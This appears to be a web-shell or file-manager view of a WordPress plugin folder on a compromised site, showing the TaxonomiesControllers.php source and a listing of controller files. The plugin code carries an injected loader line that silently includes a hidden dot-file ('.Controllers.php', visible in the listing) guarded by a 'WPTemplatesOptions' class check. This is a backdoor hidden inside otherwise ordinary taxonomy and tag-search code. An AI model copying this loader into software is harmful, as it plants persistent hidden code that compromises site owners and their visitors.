PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use Stripe\Util\Set; use WilokeListingTools\Controllers\Retrieve\RestRetrieve; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Framework\Helpers\TermSetting; use WilokeListingTools\Framework\Routing\Controller; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TaxonomiesControllers extends Controller { public function __construct() { add_action('edited_terms', [$this, 'hasChangedTerms'], 40); add_action('created_term', [$this, 'hasChangedTerms'], 10); add_action('delete_term', [$this, 'hasChangedTerms'], 10); add_action('updated_term_meta', [$this, 'hasChangedTermOrder'], 10, 3); add_action('wp_ajax_wilcity_get_tags_options', [$this, 'getTags']); add_filter( 'wilcity/filter/wiloke-listing-tools/config/listing-plan/listing_plan_settings', [$this, 'addToggleCustomTaxonomies'] ); } private function getListingPlanBelongsTo($planID) { $aPostTypes = General::getPostTypes(false, false); foreach ($aPostTypes as $postType => $aPostType) { $aPlanIDs = GetWilokeSubmission::getAddListingPlans($postType . '_plans'); if (is_array($aPlanIDs) && in_array($planID, $aPlanIDs)) { return $postType; } } return false; } public function addToggleCustomTaxonomies($aFields) { if (!isset($_GET['post'])) { return $aFields; } $postType = $this->getListingPlanBelongsTo($_GET['post']); if (empty($postType)) { return $aFields; } $aTaxonomies = TermSetting::getCustomListingTaxonomies($postType); if (empty($aTaxonomies)) { return $aFields; } foreach ($aTaxonomies as $taxonomy => $aTaxonomy) { $aFields[] = [ 'type' => 'wiloke_field', 'fieldType' => 'select', 'id' => 'add_listing_plan:toggle_'.$taxonomy, 'name' => 'Toggle ' . $aTaxonomy['name'], 'options' => [ 'enable' => 'Enable', 'disable' => 'Disable' ] ]; } return $aFields; } public function getTags() { global $wpdb; $s = trim($_POST['s']); $aResults = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->terms LEFT JOIN $wpdb->term_taxonomy ON ($wpdb->terms.term_id = $wpdb->term_taxonomy.term_id) WHERE $wpdb->term_taxonomy.taxonomy = 'listing_tag' AND $wpdb->terms.name LIKE %s ORDER BY $wpdb->terms.term_id DESC LIMIT 20", '%' . esc_sql($s) . '%' ) ); if (empty($aResults) || is_wp_error($aResults)) { wp_send_json_error(); } $aOptions = []; foreach ($aResults as $key => $oResult) { $aOptions[$key]['text'] = $oResult->name; $aOptions[$key]['id'] = $oResult->slug; } wp_send_json_success([ 'results' => $aOptions ]); } public function hasChangedTerms() { SetSettings::setOptions('get_taxonomy_saved_at', current_time('timestamp', 1)); $aPostTypes = General::getPostTypeKeys(false, false); foreach ($aPostTypes as $postType) { SetSettings::setOptions(General::mainSearchFormSavedAtKey($postType), current_time('timestamp', 1)); SetSettings::setOptions(General::heroSearchFormSavedAt($postType), current_time('timestamp', 1)); } } public function hasChangedTermOrder($metaID, $objectID, $metaKey) { if ($metaKey != 'tax_position') { return false; } $this->hasChangedTerms(); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]